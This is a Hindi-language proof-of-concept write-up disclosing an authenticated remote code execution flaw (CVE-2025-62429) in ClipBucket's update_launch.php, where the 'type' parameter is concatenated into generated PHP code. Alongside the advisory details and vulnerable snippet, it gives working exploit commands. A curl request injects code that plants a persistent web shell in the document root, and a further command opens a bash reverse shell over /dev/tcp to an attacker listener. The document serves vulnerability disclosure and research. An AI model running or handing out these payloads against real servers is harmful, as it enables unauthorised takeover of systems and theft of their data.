
CVE-2025-62429 | clipbucket RCE
update_launch.php में PHP कोड इंजेक्शन के माध्यम से RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट
प्रकटीकरण: मूल रूप से मेरे द्वारा GHSA-3h9c-7j8r-xc3v के माध्यम से रिपोर्ट किया गया
⚠️ केवल अधिकृत पेंटेस्टिंग/शोध उपयोग के लिए।
| क्षेत्र | मान |
|---|---|
| CVE ID | CVE-2025-62429 |
| गंभीरता | 🔴 उच्च |
| CVSS स्कोर | 7.2 |
| CVSS वेक्टर | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: OS कमांड इंजेक्शन, CWE-94: कोड इंजेक्शन |
| प्रभावित उत्पाद | ClibBucket <= 5.5.3 - #79 |
| पैच किया गया संस्करण | 5.5.3 - #80 |
| सलाह | GHSA-3h9c-7j8r-xc3v |
ClipBucket v5.5.3-61 में एक प्रमाणित दूरस्थ कोड निष्पादन (RCE) भेद्यता मौजूद है। भेद्यता को CWE-94: कोड निर्माण का अनुचित नियंत्रण ('कोड इंजेक्शन') के रूप में वर्गीकृत किया गया है। एप्लिकेशन update_launch.php में निष्पादन योग्य PHP कोड उत्पन्न करने के लिए उपयोग किए जाने वाले उपयोगकर्ता-नियंत्रित इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है। एक प्रमाणित प्रशासक इसका फायदा उठाकर अंतर्निहित सर्वर पर पूर्ण कमांड निष्पादन प्राप्त कर सकता है, तथा एक वेब प्रशासक से सिस्टम उपयोगकर्ता (जैसे, containeruser) तक विशेषाधिकार बढ़ा सकता है।
भेद्यता upload/admin_area/actions/update_launch.php में स्थित है। यह स्क्रिप्ट गतिशील रूप से एक अस्थायी PHP बैकग्राउंड स्क्रिप्ट उत्पन्न करके सिस्टम अपडेट की सुविधा प्रदान करती है।
भेद्य कोड स्निपेट: upload/admin_area/actions/update_launch.php (पंक्तियाँ 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
शोषण तंत्र:
चूँकि type पैरामीटर को बिना एस्केपिंग या सैनिटाइज़ेशन के $data स्ट्रिंग में जोड़ा जाता है, एक हमलावर स्ट्रिंग लिटरल संदर्भ से बाहर निकलने के लिए एकल उद्धरण (') का उपयोग कर सकता है। वे फिर मनमाने PHP फ़ंक्शन (जैसे system() या file_put_contents()) इंजेक्ट कर सकते हैं और // का उपयोग करके मूल कोड के शेष भाग को टिप्पणी में बदल सकते हैं। इसके परिणामस्वरूप PHP-CLI प्रक्रिया के विशेषाधिकारों के साथ हमलावर द्वारा आपूर्ति किए गए कोड का निष्पादन होता है।
PHPSESSID सत्र कुकी।
हम पहले डॉक्यूमेंट रूट में एक स्थायी वेब शेल तैनात करके भेद्यता का प्रदर्शन करते हैं।
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
RCE की पुष्टि करने के बाद, पोस्ट-एक्सप्लॉइटेशन के लिए एक इंटरैक्टिव शेल स्थापित किया जाता है।
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
हमलावर मशीन को एक कनेक्शन प्राप्त होता है, जो containeruser के रूप में पूर्ण इंटरैक्टिव शेल पहुंच प्रदान करता है।
सफल शोषण एक हमलावर को मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप:
config.inc.php) और संपूर्ण डेटाबेस को पढ़ने की क्षमता।यह मुद्दा पहले से खुलासा की गई भेद्यता से संबंधित है:
आगे के विश्लेषण पर, अपूर्ण सुधार के कारण ClipBucket v5.5.3 में भेद्यता बनी रहती पाई गई। जबकि मूल सलाह ने मुद्दे के एक हिस्से को संबोधित किया, update_launch.php में type पैरामीटर के माध्यम से PHP कोड इंजेक्शन वेक्टर शोषणीय बना रहा। यह सलाह अतिरिक्त तकनीकी विवरण, नवीनतम संस्करण पर सत्यापन, और एक पूर्ण एंड-टू-एंड शोषण परिदृश्य प्रदान करती है।